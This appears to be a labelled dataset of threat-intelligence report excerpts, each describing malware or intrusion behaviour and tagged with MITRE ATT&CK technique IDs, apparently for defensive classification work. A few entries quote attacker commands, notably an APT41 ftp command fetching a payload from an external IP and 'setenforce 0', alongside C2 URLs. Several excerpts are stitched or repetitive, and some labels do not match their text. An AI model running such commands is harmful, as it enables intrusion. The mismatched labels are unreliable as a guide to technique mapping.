+On a different system, operators dropped a legitimate copy of credwize.exe, the Microsoft Credential Backup and Restore Wizard, on disk and used it to execute the malicious library New.dll, another Turian variant	['T1055.001']
+While the IronPython scripts are only the first part of the tool, the main task of loading malware is done by an embedded process injector. We dubbed this toolchain IronNetInjector, the blend of IronPython and the injector’s internal project name NetInjector. In this blog, we describe the IronPython scripts and how they’re used to load one or more payloads with the help of an injector	['T1059.006', 'T1059.006']
+IAT hooking and inline hooking are generally known as userland rootkits. IAT hooking is a technique that malware uses to change the import address table. In contrast, with inline hooking, malware modifies the API function itself. In Figure 11, the malware FinFisher, performs IAT hooking by modifying where the CreateWindowEx points	['T1056.004']
+Our dynamic analysis showed Lokibot’s behavior, including the benefits and drawbacks of several unpacking methods. Lokibot also used an infected system machine global unique identifier (GUID) value to generate a mutex (an MD5 hash) that acted as a flag to prevent itself from infecting the same machine again. The subject lines of the campaign messages usually started with or included the term “proforma. The malicious attachment was a DOCX, with a file name that also included “proforma” in its pattern. TLP: WHITE https://www.us-cert.gov/tlpCharacteristicsLokibot is an information stealer; the main functionality of its binary is to collect system and application credentials, and user information to send back to the attacker. We then conducted a static analysis to examine Lokibot’s techniques and targets. It starts from the tenth byte in the data section of the initial TCP POST request. We also noticed that the value of the sub key is the path to the file that Lokibot created after its initial execution. The binary’s hardcoded strings provided data about the binary’s characteristics, behavior, and main functionality.Section HeadersFrom the section headers and distribution of each section, the binary appears to be fairly normal. Figure 9Hollow Process; Manually Unpacking the First Stage BinaryWe tried to follow the binary with a debugger to determine where it unpacked itself in the memory, but Lokibot used a hollow process technique to obscure some of this activity	['T1555.003']
+The payload decrypted at the previous step is a PowerShell reflective loader. It is based on the script Invoke-ReflectivePEInjection.ps1 from the same PowerSploit framework. The executable is hardcoded in the script and is loaded directly into the memory of a randomly chosen process that is already running on the system	['T1055']
+Before proceeding to file encryption operations, the ransomware force stops (“kills”) processes listed by process name in a hard-coded list within the encoded strings of the malware. A full list with assessed process function or relationship is provided in Appendix A of this report. While some of the referenced processes appear to relate to security or management software (e.g. Qihoo 360 Safeguard and Microsoft System Center), the majority of the listed processes concern databases (e.g. IBM Tivoli), or ICS-related processes	['T1562.001']
+The WannaCry malware consists of two distinct components, one that provides ransomware functionality and a component used for propagation, which contains functionality to enable SMB exploitation capabilities	['T1210']
+One notable difference is that this particular stager included functionality that allowed the stager to communicate with the command and control (C2) via an encrypted RC4 byte stream. In this sample, the threat actors' C2 server was the domain msdn[.]cloud	['T1573.001']
+In order to exfiltrate data, the plugin uses the function “post” in the HTTPClient class. Post” gives the plugin the ability to upload content and exfiltrate data to the remote C2 whose domain is stored in the registry	['T1041']
+The main idea here is that if you create a LNK to an executable or command, then use the ShowGroup method, the program will be executed. This is an undocumented behavior in Microsoft Windows	['T1559.002']
+Filter the target machines: setup.bat first checks if the hostname of the machine is one of the following: PIS-APP, PIS-MOB, WSUSPROXY or PIS-DB. If so, it stops the execution and deletes the folder containing the malicious script from this machine. Download the malicious files onto the machine: the same batch file downloads a cab archive named env.cab from a remote address in the internal network: \\railways.ir\sysvol\railways.ir\scripts\env.cab. The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. Unleash the main payload: The msrun.bat script is responsible for unleashing the Wiper. It moves wiper-related files to “C:\temp” and creates a scheduled task named mstask to execute the wiper only once at 23:55:00	['T1070.004']
+Trickbot is installed as a scheduled task, using names like “WinDotNet,” “GoogleTask,” or “Sysnetsf” to masquerade as legitimate-appearing processes. These point to various copies of TrickBot installed in the system, usually within the user profile under %USER_DIR%\AppData\Roaming\ or a subdirectory. The subdirectories also use similarly misleading names like “WinDefrag” or “NetSocket” to appear innocuous. TrickBot may also be installed as a service with names like “ControlServiceA” that points to a copy in the system drive root	['T1543.003', 'T1036.004']
+1) Establish persistence via the Startup folder or theRun registry key (some variants). 2) Inject itself to another process such as rundll32.exe and dllhost.exe (some variants). 3) Decrypt two blobs: Import Table and the loader configuration	['T1547.001', 'T1055.001']
+Aside from stealing credentials from applications, it also steals the following information from several popular web browsers such as Google Chrome, Mozilla Firefox, Internet Explorer, and Microsoft Edge	['T1555.003']
+The adversary also used the commodity Cobalt Strike framework and Plink tunneling tool in many of these campaigns	['T1558.003']
+The Lizar server application, meanwhile, is written using the .NET framework and runs on a remote Linux host, researchers said. It supports encrypted communications with the bot client	['T1573']
+The observed JSS Loader infection led to the download and execution of a setup VBScript from https[:]//petshopbook[.]com	['T1059.005']
+Once the registry value is created, the attackers simply wait for the occasional execution of dllhost.exe, which might happen naturally on a system. This execution triggers a process launch of wscript.exe configured to run the VBScript file dropped in step #4	['T1082', 'T1546.012']
+It will then spawn a suspended instance of msiexec.exe in a new process. The malware proceeds to load code from the ‘aclmain.sdb’ file and performs process hollowing against this instance of msiexec.exe prior to resuming the process	['T1055.012']
+Each of the Silent Librarian lures ends with a very realistic looking closing signature containing contact information for the target library. This information is collected through open source research conducted by the threat actors. In some cases, all of the contact information can be found together on one webpage; however, some of the information is in different locations, indicating the actors are likely performing manual reconnaissance to gather the information	['T1594']
+The primary objective of the HermeticWiper is to destroy the master boot record (MBR) of a system, shredding data and rendering the system unusable	['T1561.002']
+Hildegard searches for credential files on the host, as well as queries metadata for cloud-specific credentials	['T1552.005']
+FIN6 also moved laterally to servers in the environment using RDP and configured them as malware “distribution” servers. The distribution servers were used to stage the LockerGoga ransomware, additional utilities, and deployment scripts to automate installation of the ransomware. Mandiant identified a utility script named kill.bat that was run on systems in the environment. This script contained a series of anti-forensics and other commands intended to disable antivirus and destabilize the operating system. FIN6 automated the deployment of kill.bat and the LockerGoga ransomware using batch script files. FIN6 created a number of BAT files on the malware distribution servers with the naming convention xaa.bat, xab.bat, xac.bat, etc. These BAT files contained psexec commands to connect to remote systems and deploy kill.bat along with LockerGoga. FIN6 renamed the psexec service name to “mstdc” in order to masquerade as the legitimate Windows executable “msdtc	['T1562.001']
+Based on our analysis, financial organizations in Turkey were targeted via spear phishing emails containing a malicious Microsoft Word document. The document contains an embedded Adobe Flash exploit, which was recently announced by the Korean Internet Security agency	['T1566.001']
+Business info at outsidersecurity.nl . Introducing ROADtools - The Azure AD exploration framework . 15 minute read . Over the past 1.5 years I’ve been doing quite a lot of exploration into Azure AD and how it works under the hood. So I set myself a few goals: - Provide tooling for both Red teams and Blue teams to explore all Azure AD data in an accessible way. Use asynchronous HTTP calls in Python to dump all available information in the Azure AD graph to this database. Where to get the data . Since Azure AD is a cloud service, there isn’t a way to reverse engineer how it works, or a central repository where all the data is stored that you can access. While researching Azure and looking through the requests in the Azure Portal, at some point I noticed that the portal was calling a different version of the Azure AD Graph, the 1.61-internal version. This internal version of the Azure AD graph exposes much more data than any of the official API’s that are offered by Microsoft. To create the object structure, ROADrecon uses the OData metadata definition that the Azure AD graph exposes. ROADrecon will by default pretend to be the Azure AD PowerShell module and will thus inherit its permissions to access the internal version of the Azure AD graph. Gathering all the data . The second step is data gathering, which the roadrecon gather command does. That being said, there is a setting in the deprecated MSOnline PowerShell module which prevents enumeration using the Azure AD graph, which is documented here	['T1119']
+After the variables are set, the command line script copies QlpxpQpOpDpnpRpC.ini to the executable name that has been picked for this run and then attempts to kill any legitimate process using the specified name before launching it. The name for the .ini file is randomized per archive, but almost always turns out to be that of the VNC server itself	['T1036.005']
+The launcher then configures several Registry values, including SecurityPasswordAES, that control how the remote access tool will work	['T1547.001', 'T1550.002']
+DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories. It also uses QueueUserWorkItem to implement thread pooling for its file encryption threads	['T1083']
+The ANCHOR backdoor has been seen across a subset of intrusions associated with this activity and can often be identified via the scheduled tasks it uses to maintain persistence through reboot. The scheduled tasks created by ANCHOR are often unnamed, although that is not always the case	['T1053.005']
+Two PDF files (***_SPE_LEOS and ***_HPC_SE) with aerospace & defense industry themed images, created via the Microsoft Print to PDF service, were submitted along with ***_ECS_EPM.docx. The naming convention of these PDF files was very similar to the malicious documents used. The name includes abbreviations for positions at the defense contractor much like the malicious documents. The Microsoft Print to PDF service enables content from a Microsoft Word document be printed to PDF directly. The PDFs were discovered in an archive file indicating that LinkedIn may have been a possible vector utilized by the adversaries to target victims. This is a similar vector as to what has been observed in a campaign reported by industry[7], however as mentioned earlier the research covered in this blog is part of a different activity set	['T1566.001']
+The adversary used the built-in lateral movement possibilities in Cobalt Strike. Cobalt Strike has various methods for deploying its beacons at newly compromised systems. We have seen the adversary using SMB, named pipes, PsExec, and WinRM. They continue lateral movement and discovery in an attempt to identify the data of interest. This could be a webserver to carve data from memory, or a fileserver to copy IP, as we have both observed	['T1041']
+The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. Although the backdoor supports dozens of commands, most of them enable the operator to manipulate an encrypted storage file and reconfigure the implant. The backdoor's primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines	['T1027']
+If the file /usr/sbin/setenforce exists, the malware executes the command, setenforce 0. This command configures the system’s Security-Enhanced Linux (SELinux) module, which provides support in the system's access control policies, into permissive mode — that is, setting the SELinux policy so that it is not enforced. If the system has the /etc/selinux/config file, it will write these commands into the file: SELINUX=disabled and SELINUXTYPE=targeted commands. The former disables the SELinux policy (or disallows one to be loaded), while the latter sets selected processes to run in confined domains	['T1518.001']
+One of the tactics it uses to avoid drawing attention to itself is impersonating commonly used software packages such as Windows or Adobe Reader. It has never attempted to compromise the software itself. Rather, it gives its tools file names similar to those used by the software and places them in directory trees that could be mistaken for those used by the legitimate software	['T1036.005']
+From a code perspective, little has changed between Ryuk binaries compiled in March and those compiled in September. The functionality has remained overall static since introducing features for targeting hosts on a local area network (LAN). The most notable change to Ryuk is the introduction of code obfuscation. The code obfuscations appear to be designed to slow down the reverse engineering process by using anti-disassembly and code transformation obfuscation techniques	['T1027']
+Since 2020, Proofpoint researchers have observed TA416, an actor assessed to be aligned with the Chinese state, utilizing web bugs to profile their targets. Commonly referred to as tracking pixels, web bugs embed a hyperlinked non-visible object within the body of an email that, when enabled, will attempt to retrieve a benign image file from an actor-controlled server. This provides a “sign of life” to threat actors and indicates that the targeted account is valid with the user being inclined to open emails that utilize social engineering content. TA416 has been using web bugs to target victims prior to delivering malicious URLs that have installed a variety of PlugX malware payloads	['T1608']
+Cybercriminals will often use LNK files attached in an email to launch an attack on unsuspecting victims. And we recently noticed another campaign using this technique	['T1204.002']
+After this information is obtained, the attacker can generate and send a specially crafted HTTP POST request to the Exchange server with an XML SOAP payload to the Exchange Web Services (EWS) API endpoint	['T1590']
+A threat actor known as Silent Librarian/TA407/COBALT DICKENS has been actively targeting universities via spear phishing campaigns since schools and universities went back	['T1608.005']
+Once run, the wiper will damage the Master Boot Record (MBR) of the infected computer, rendering it inoperable	['T1561.002']
+Checking the DLLs related to iDefense SysAnalyzer, Microsoft Debugging DLL and Sandboxies - Calling IsDebuggerPresent and GetTickCount to identify a debugger - Checking VMWare related file	['T1497.001']
+The Daum variants of Brave Prince gather information from the system and save it to the file PI_00.dat. This file is sent as an attachment to the attacker’s email address. Later variants upload the file to a web server via an HTTP post command. The type of data this implant gathers from the victim’s system	['T1083', 'T1048.003']
+CookieMiner issues a series of commands to configure the victim’s machine to mine cryptocurrency and maintain persistence (Figure 6). The program xmrig2 is a Mach-O executable for mining cryptocurrency. As seen in Figure 7, the address “k1GqvkK7QYEfMj3JPHieBo1m7FUkTowdq6H” has considerable mining performance. It has been ranked as a top miner in the Maruru mining pool (koto-pool.work).­­­ The cryptocurrency mined is called Koto, which is a Zcash-based anonymous cryptocurrency. The has addresses in Figure 8 use the “Yescrypt” algorithm which is good for CPU miners but not ideal for GPU miners. This is ideal for malware as the victim hosts are not guaranteed to have discrete GPUs installed in them but are guaranteed to have a CPU available. We believe the malware authors may have intentionally used this filename to create confusion since the miner is actually mining the Koto cryptocurrency	['T1543.001']
+For every hard-coded TCP port used to communicate with the C&C servers, the malware creates a rule in Netfilter — the Linux kernel firewall — using the iptc_insert_entry() function from libiptc1 to allow output communication to it	['T1562.004']
+38, the credentials are retrieved from the logins.json file and the browser history is retrieved from the places.sqlite database	['T1217']
+The operators simply deploy their first-stage .php script in them, which will check the connection and get the actual C2 server domain name using an HTTP GET request	['T1071.001']
+1) Copy itself to the %APPDATA%\Microsoft folder, add this file path in the registry ‘Run’ key under the value ‘BackUp Mgr’ and then execute the loader from the copied location. 2) If the loader cannot access the %APPDATA% location or if the loader is running from this location already, then it adds the current file path in the ‘Run’ registry key under the value ‘BackUp Mgr’ and executes the loader again from this location	['T1547.001']
+As we mentioned, the adversary used a technique called template injection. A .docx file is a zip file containing multiple parts. Using the template injection technique, the adversary puts a link towards the template file in one of the .XML files, for example the link is in settings.xml.rels while the external oleobject load is in document.xml.rels. The link will load a template file (DOTM) from a remote server. Some of these template files are renamed as JPEG files when hosted on a remote server to avoid any suspicion and bypass detection. These template files contain Visual Basic macro code, that will load a DLL implant onto the victim’s system	['T1036']
+We suspect that the malware uses this extension to grab the victim’s cookies and use them from another device to ride the victim’s active session	['T1539']
+Last but not least, the malware creates an id, in the same way as seen in previous Zebrocy binaries. It retrieves the UserName via the GetUserNameW Windows API and prepends the volume serial number of the C:\ drive	['T1082']
+Should the victim use one of these portable browsers with a proxy server configured, the malware can find that in the user’s preferences and use that proxy to communicate with its C&C servers	['T1090.002']
+APT10 has targeted or compromised manufacturing companies in India, Japan and Northern Europe; a mining company in South America; and multiple IT service providers worldwide. Traditional and Novel Methods . This recent APT10 activity has included both traditional spear phishing and access to victim’s networks through service providers. In addition to the spear phishes, FireEye ISIGHT Intelligence has observed APT10 accessing victims through global service providers. Service providers have significant access to customer networks, enabling an attacker who had compromised a service provider to move laterally into the network of the service provider’s customer. In addition, web traffic between a service provider’s customer and a service provider is likely to be viewed as benign by network defenders at the customer, allowing the attacker to exfiltrate data stealthily. A notable instance of this observed by FireEye involved a SOGU backdoor that was set to communicate with its C2 through a server belonging to the victim’s service provider. The actor then tested connectivity to an IP managed by the victim’s service provider. Once connectivity to the service provider IP was verified, the actor established the service provider IP as a proxy for the victim’s SOGU backdoor. This effectively routes SOGU malware traffic through the victim’s service provider, which likely indicates a foothold on the service provider’s network. Their abuse of access to service provider networks demonstrates that peripheral organizations continue to be of interest to a malicious actor – especially those seeking alternative angles of attack	['T1199']
+"Wiping all available methods of recovery shows this attacker had no intention of leaving the machine useable. Additionally, the destroyer disables all the services on the system: The malware uses the ChangeServiceConfigW API to change the start type to 4 which means: ""Disabled: Specifies that the service should not be started"	['T1489']
+In another update, the P8RAT sample from August 2020 looks for two process names (“VBoxService.exe” and “vmtoolsd.exe”) on the victim’s system, to detect VMware or VirtualBox environments at the beginning of its main malicious function	['T1497.001']
+While Emotet has been around for many years and is one of the most well-known pieces of malware in the wild, that doesn't mean attackers don't try to freshen it up. These new campaigns have been observed following a period of relatively low Emotet distribution activity, corresponding with the observance of Orthodox Christmas in certain geographic regions. These new malicious efforts involve sending victims malicious Microsoft Word attachments with embedded macros that download Emotet. This latest strain has also gained the ability to check if the infected IP where the malicious email is being sent from is already blocklisted on a spam list	['T1059.005']
+PlugX executes DLL hijacking with benign applications such as ESET antivirus, Adobe Update etc. Also, the PlugX that Mustang Panda APT uses has some extra features, including spreading through USB, gathering information, and stealing documents in air-gaped networks via USB	['T1059.003']
+In this ongoing campaign, FIN7 is targeting organizations with spear phishing emails containing either a malicious DOCX or RTF file – two versions of the same LNK file and VBScript technique. These lures originate from external email addresses that the attacker rarely re-used, and they were sent to various locations of large restaurant chains, hospitality, and financial service organizations. As with previous campaigns, and as highlighted in our annual M-Trends 2017 report, FIN7 is calling stores at targeted organizations to ensure they received the email and attempting to walk them through the infection process	['T1566.001']
+The dropper extracts modules from these resources by seeking a specific offset and reading a specific number of bytes as the length of the ciphertext. The dropper then decrypts the ciphertext by using an XOR cipher and a specific base64 encode string that is decoded and used as the key. Before accessing the ciphertext, the dropper subtracts 14 from the specified offset, which is the same as previous Disttrack samples delivered in Shamoon 2 attacks. Tables 1, 2, and 3 include the resources, the information used to extract them, and the resulting module	['T1140']
+Disttrack uses the internal domain names and credentials to log into remote systems on the same network segment	['T1016']
+Curl is used to send the AWS credentials to TeamTNT’s server, which responds with the message “THX	['T1071.001']
+The Helminth executable is able to communicate with its C2 server via HTTP and via DNS queries in very similar ways to the Helminth script variant. In fact, the DNS beacons follow the same structure and sequence as the script variant of Helminth discussed in the previous section	['T1573.001']
+All this information was then sent to one of the following domains: G1 also had the ability to execute commands remotely on the infected host machine at the author's will	['T1059.003']
+NoComm – No command, which causes the script to keep sending POST requests. Base64 string – A module to execute. The module is encrypted with a simple substitution cipher and encoded in base64	['T1573.001']
+Those payloads consist of a legitimate and signed Microsoft executable used as a DLL search-order hijacking host and a malicious DLL loaded by that executable. The malicious DLL is a ShadowPad loader	['T1574.001']
+Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor	['T1071.002']
+Given their capability and sophistication, it is unlikely that IRON RITUAL's intrusions will leave sufficient artifacts to allow researchers to associate their activities with previous or future Russian cyber espionage operations. The group has used malware including the SUNBURST (also known as Solorigate) backdoor and in-memory Cobalt Strike delivered using the TEARDROP and RAINDROP loaders. CTU researchers assess with high confidence that IRON RITUAL's intent is long term, covert access to networks of interest for the purposes of espionage and data theft.ToolsTaegis™ XDR Adversary Software Coverage Tool	['T1550']
+Let’s look at an example. During our investigation of an infection at a computer game company, we found that malware had been created for a particular service on the company’s server. The malicious program was looking for a specific process running on the server, injected code into it, and then sought out two places in the process code where it could conceal call commands for its function interceptors. Using these function interceptors, the malicious programs modified process data which was processed in those two places, and returned control back. Thus, the attackers change the normal execution of the server processes. Unfortunately, the company was not able to share its targeted application with us, and we cannot say exactly how this malicious interference affected gaming processes	['T1057']
+1) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. Similarly, the VBA code then writes batch code to another text file - Audio.txt. The content of both files is shown in the appendix section of this report. Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals. When Drive.vbs is eventually executed by the task scheduler, it will download the BackConfig executable payload. In the case of file 8892279f3. the remote location is http://185.203.119[.]184/Dropbox/request. and only continues if the file exists. 2) Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content. The content of both files is shown in the appendix section of this report. and only continues if the file exists	['T1564.001']
+The adversary uses Cobalt Strike as framework to manage their compromised systems. We observed the use of Cobalt Strike’s C2 protocol encapsulated in DNS by the adversary in 2017 and 2018. They switched to C2 encapsulated in HTTPS in Q3 2019. An interesting observation is they made use of a cracked/patched trial version of Cobalt Strike. This is important to note because the functionalities of Cobalt Strike’s trial version are limited. More importantly: the trial version doesn’t support encryption of command and control traffic in cases where the protocol itself isn’t encrypted, such as DNS. The DNS-responses weren’t logged. This means that only the DNS C2 leaving the victim’s network was logged. We developed a Python script that decoded and combined most of the logged C2 communication into a human readable format. As the adversary used Cobalt Strike with DNS as command & control protocol, we were able to reconstruct more than two years of adversary activity	['T1071.004']
+The TrickBot module used for credential harvesting is pwgrab64. As with all modules launched by the TrickBot core, pwgrab64 is installed into a subfolder, usually named either “modules” or “data,” and modified the following registry value	['T1112']
+This command will attempt to download and execute a remote file via the Microsoft Windows built-in certutil utility. More information on this technique and the CARROTBAT malware family may be found within the Appendix	['T1105']
+REvil sends the encrypted stat data containing the host profile and malware information to the C2 URL via the HTTP POST method. Detection of the associated network traffic is challenging because REvil uses the HTTPS protocol, which encrypts the network communication. Finally, REvil terminates execution	['T1071.001']
+Anchor_DNS was able to stay under-the-radar by using specific execution flags. If these command-line arguments are not supplied, the Anchor_DNS terminates	['T1480']
+The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands. BLACKCOFFEE: a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft's Technet portal	['T1102.002']
+The dns.ps1 script is also responsible for communicating with the C2 server, but it uses DNS queries to send data to the server. The DNS queries sent by this script are queries to subdomains on the same domain as the C2 server, which contains system information or the contents of files from the system. The subdomain of the DNS request that acts as the initial C2 beacon has the following structure	['T1012']
+Another profile using the handle on a Russian social network currently shows multiple photos of the user in proximity to Moscow for the entire history of the profile. Another profile using the handle on a Russian social network currently shows multiple photos of the user in proximity to Moscow for the entire history of the profile. Suspected TEMP.Veles incidents include malicious activity originating from 87.245.143.140, which is registered to CNIIHM. This IP address has been used to monitor open-source coverage of TRITON, heightening the probability of an interest by unknown subjects, originating from this network, in TEMP.Veles-related activities. It also has engaged in network reconnaissance against targets of interest to TEMP.Veles. The IP address has been tied to additional malicious activity in support of the TRITON intrusion. This IP address has been used to monitor open-source coverage of TRITON, heightening the probability of an interest by unknown subjects, originating from this network, in TEMP.Veles-related activities. It also has engaged in network reconnaissance against targets of interest to TEMP.Veles. The IP address has been tied to additional malicious activity in support of the TRITON intrusion	['T1059.001']
+On the first contact, it will send an identification of the victim based on the hard disk volume serial number. Talos didn't identify any kind of anti-sandboxing mechanisms on it, either	['T1082']
+When checking network connection with the “netstat” command, both cases use the “-naop” option in conjunction with the “tcp“ - Filtering the result, both cases use the “findstr” command instead of “find	['T1049']
+This module was delivered, like many other tools, in a 7z self-extracting archive. Inside, there was a password-protected RAR archive containing a few files	['T1027']
+For both the receiving of C2 commands and exfiltration, Remexi uses the Microsoft Background Intelligent Transfer Service (BITS) mechanism to communicate with the C2 over HTTP	['T1071.001', 'T1041', 'T1071', 'T1132']
+FIN5, which earlier this year was profiled by researchers at Trend Micro and has been in action since at least 2008, uses real credentials from the victim organization's virtual private network, Remote Desktop Protocol, Citrix, or VNC. Vengerik says the attackers got those credentials via third parties associated with the victims' POS systems	['T1078', 'T1133']
+The first action performed by the crypter code is to check some specific registry key. If the key is not detected, the crypter will enter an infinite loop or exit, thus it is used as an anti-analysis technique	['T1012', 'T1497.001']
+The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April. The worm specifically scans for the existence of the DoublePulsar backdoor on compromised systems. If the DoublePulsar backdoor does not exist, then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit. After the first thread determines the local network subnet, the SMB worm scans local addresses beginning at the start of the netblock and increasing by one to the end of the netblock. The second thread scans randomly chosen external IP addresses	['T1018']
+Remexi developers use the C programming language and GCC compiler on Windows in the MinGW environment. The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive	['T1053.005', 'T1547.001']
+The actor has used this method on its 2019 campaign as well. This UAC bypass starts by executing wusa.exe using ShellExecuteExw and gets its access token using NtOpenProcessToken. Then the access token of wusa.exe is duplicated using NtDuplicatetoken. The DesiredAccess parameter of this function specifies the requested access right for the new token. In this case the actor passed TOKEN_ALL_ACCESS as DesiredAccess value which indicates that the new token has the combination of all access rights of this current token. The duplicated token is then passed to ImpersonateLoggedOnUser and then a cmd instance is spawned using CreateProcessWithLogomW. At the end the duplicated token is assigned to the created thread using NtSetINformationThread to make it elevated	['T1134.002']
+The main infection vector for Poseidon is the use of spear-phishing emails including RTF/DOC files, usually with a human resources lure. Poseidon’s toolkit displays an awareness of many antivirus providers over the years, attempting to attack or spoof these processes as a means of self-defense for their infections	['T1036.005']
+On January 8, 2018, Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East. In both attacks, the OilRig group attempted to deliver a new Trojan that we are tracking as OopsIE. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. Interestingly, the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017. This repeat attack may suggest that the adversaries have lost their foothold in the targeted organization, or that it may be considered a high value target. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. In the January 16, 2018 attack, we observed OilRig attacking an organization it previously targeted in January 2017. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time	['T1204.001']
+"PlugX — A remote access tool notable for communications that may contain HTTP headers starting with ""X-"" (e.g. X-Session: 0""). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. The malware can be configured to use multiple network protocols to avoid network-based detection. DLL side loading is often used to maintain persistence on the compromised system. Antivirus detection for HttpBrowser is extremely low and is typically based upon heuristic signatures. DLL side loading has been used to maintain persistence on the compromised system. More information about HttpBrowser is available in Appendix B. HttpBrowser URI. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. TG-3390 has used additional web shells containing similarly formatted passwords"	['T1071.001']
+1) The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2) When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs	['T1204.001']
+After the credit cards are first scanned in real time, the personal account number (PAN) and accompanying data sits in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. During that time, the point-of-sale malware opens up the process memory searching for elements related to credit card information	['T1005']
+Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. CTU researchers identified an xxmm builder for xxmm (see Figure 2), which suggests that the threat actors customize the xxmm malware settings based on the target. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use the ‘at' or ‘schtask' commands to register a scheduled task to be executed in a few minutes. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity	['T1053.002', 'T1053.005']
+"The kernel driver is a commercial product that the attackers are abusing called RawDisk by EldoS Corporation, which provides direct access to files, disks and partitions. It appears that the “drdisk.sys” driver (SHA256: 4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6) is the exact same driver as used in the Shamoon attack in 2012. With the kernel driver installed, the wiper can begin writing to protected system locations, such as the master boot record (MBR) and partition tables of storage volumes. If the wiper is configured with the ""E"" setting, the wiper will encrypt the contents of the file using a random value as a key and the RC4 algorithm. If configured with the ""R"" setting, the wiper will overwrite files with the random values that would be used as a key in ""E"	['T1561.002', 'T1485', 'T1485']
+The new domain names follow the same pattern as previously reported, except that they swap the top level domain name for another. We know that the threat actor has used the “.me” TLD in their past campaigns against some academic intuitions and this is still the case, along side “.tk” and “.cf	['T1583.001']
+The group's primary and likely proprietary RCSession RAT communicates with a hard-coded C2 server using a custom protocol over TCP port 443. After connecting to its C2 server, RCSession checks in with an encrypted beacon and then awaits instruction. The ORat tool, which appears to be used less frequently by the group, communicates over TCP port 80 using a raw socket protocol (not HTTP	['T1573']
+Keylogger: The keylogger is configured using the command line parameters: NetworkService, Replace, Install, Register and Unregister. It also gathers network information such as the MAC address, IP address, WINS, DHCP server, and gateway	['T1016']
+The two main changes are the obfuscation and the network protocol to communicate to the C2 server. The developers used two different obfuscation algorithms: one for the C2 encoding and one for the data. The C2 encoding is a simple XOR (as in 2012): The C2 encoding communication is also different. As the data are now sent with the GET method, the data must be in ASCII. That's they add base64 encoding in order to get supported characters in the HTTP query. For the first time, the developer switched from POST requests to GET requests: The exfiltrated data is appended to the URL. Here is the pattern: hxxp://C2_domain/MalwareIDVictimIPThirdIDExfiltratedDataBase64 SHA256:37d1bd82527d50df3246f12b931c69c2b9e978b593a64e89d16bfe0eb54645b0 C2 URL:hxxp://www[.]amanser951[.]otzo[.]com/uiho0.0.0.0edrftg.txt	['T1041']
+The malware sets information like the C2 server, ID, the downloaded payload, and the decoded project.aspx in a registry key under “HKCU\Software\ApplicationContainer\Appsw64”. These keys will be used in the second stage	['T1112']
+The Helminth executable variant is able to run batch scripts provided by the C2 server, which is very similar to the script version of this Trojan. The executable variant has one additional capability that is not present in the script version, which involves the ability to log keystrokes via a supplemental keylogger module	['T1059.003', 'T1115', 'T1056.001']
+The ransom note instructs the victim to use a unique URL to decrypt their files. Victims must provide the key and extension name included in the ransom note. The key specified in the ransom note is the Base64-encoded representation of the encrypted stat data stored in the registry	['T1486']
